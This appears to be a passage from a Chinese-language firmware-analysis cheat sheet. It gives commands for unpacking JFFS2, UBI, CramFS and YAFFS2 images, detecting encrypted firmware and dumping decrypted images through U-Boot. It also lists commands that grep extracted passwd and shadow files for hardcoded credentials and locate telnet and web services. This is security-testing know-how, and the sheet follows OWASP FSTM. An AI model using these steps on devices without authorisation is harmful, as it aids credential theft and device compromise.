sudo dd if=rootfs.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2UBI / UBIFS
# 提取 UBI volume
ubireader_extract_images rootfs.ubi -o out/
# 直接提文件
ubireader_extract_files rootfs.ubi -o rootfs/
# UBIFS 单独存在
ubireader_utils_info rootfs.ubifsUBI 镜像常见坑:peb_size / leb_size 不标准,需要手工指定:
ubireader_extract_files -p 131072 -l 126976 rootfs.ubi -o rootfs/CramFS
cramfsck -x rootfs/ rootfs.cramfs
# binwalk 自带的 sasquatch 也能解YAFFS2(Android 老系统 / 部分嵌入式)
git clone https://github.com/ehlers/unyaffs2
unyaffs2 rootfs.yaffs2 rootfs/多 partition(A/B 分区固件)
binwalk firmware.bin
# 看到多个 SquashFS 偏移 0x100000 和 0x800000
dd if=firmware.bin of=part_a.bin bs=1 skip=$((0x100000)) count=$((0x700000))
dd if=firmware.bin of=part_b.bin bs=1 skip=$((0x800000))加密固件兜底
判断是否真加密
binwalk -E firmware.bin
# 全段熵 ~0.99 且无 magic → 大概率加密 / 全段压缩
# 看是否有 vendor wrapper
xxd firmware.bin | head -8
# 看是否能找到任何已知 magic 在偏移 0x100 / 0x200 / 0x1000
binwalk --offset 256 firmware.bin
binwalk --offset 4096 firmware.bin处理路径
1. 找官方升级固件,对比加密 vs 明文版本
2. UART 拿到 U-Boot → 内存 dump 解密后的 image
3. SPI flash 物理 dump → 包含 bootloader 段
4. 逆 bootloader / 升级工具找密钥
5. 利用已公开同芯片解密方案内存 dump(U-Boot)
# 串口接入
picocom -b 115200 /dev/ttyUSB0
# 启动时按键中断 → 进入 U-Boot
# 加载固件到内存
=> tftpboot 0x80000000 firmware.bin
# 等设备内部解密完,dump 解密后的镜像
=> md.b 0x80000000 0x800000 # 看一眼内容
=> save tftp 0x80000000 dump.bin 0x800000失败兜底套路
hexdump 找 magic
# 全文件搜常见 magic
binwalk --signature firmware.bin
# 手工搜 SquashFS magic
xxd firmware.bin | grep -E "(hsqs|sqsh)"
# 手工搜 gzip magic
xxd firmware.bin | grep -E "1f 8b 08"按熵分段切片
# 输出熵 CSV
binwalk -E --save firmware.bin
# 手工切高熵段
dd if=firmware.bin of=segment_1.bin bs=4096 skip=256 count=512
file segment_1.bin
binwalk segment_1.bin坏块处理
# SPI flash dump 有 ECC 错误 → ddrescue
ddrescue -d -r3 /dev/sdb dump.bin dump.log
# NAND flash dump 含 OOB → 剥离
nanddump --noecc --omitoob -f clean.bin /dev/mtd0多次 dump 取多数票
# SPI flash 物理读不稳,dump 3 次取交集
flashrom -p ch341a_spi -r dump1.bin
flashrom -p ch341a_spi -r dump2.bin
flashrom -p ch341a_spi -r dump3.bin
sha256sum dump*.bin
# 不一致 → 重读 / 降速 / 换 clip提取后立即做的事
cd squashfs-root/
# 1. 看根目录结构
ls -la
# 期望:bin/ etc/ lib/ sbin/ usr/ var/ proc/ ...
# 2. 找 init / 启动脚本
cat etc/inittab 2>/dev/null
cat etc/init.d/rcS 2>/dev/null
ls etc/init.d/
# 3. 找硬编码凭据
grep -rE "(password|passwd|admin|root):" etc/passwd etc/shadow 2>/dev/null
# 4. 找 Web 服务入口
find . -name "httpd" -o -name "lighttpd" -o -name "mini_httpd" -o -name "uhttpd"
find . -path "*cgi-bin*" -type f
# 5. 找 telnet / ssh / debug
find . -name "telnetd" -o -name "dropbear" -o -name "sshd"
# 6. 看 banner / 版本
cat etc/banner etc/issue etc/version 2>/dev/null
strings bin/busybox | head -3引用
- OWASP FSTM Stage 4: https://scriptingxss.gitbook.io/firmware-security-testing-methodology
- binwalk v3: https://github.com/ReFirmLabs/binwalk
- unblob: https://github.com/onekey-sec/unblob
- jefferson: https://github.com/sviehb/jefferson
- ubi_reader: https://github.com/onekey-sec/ubi_reader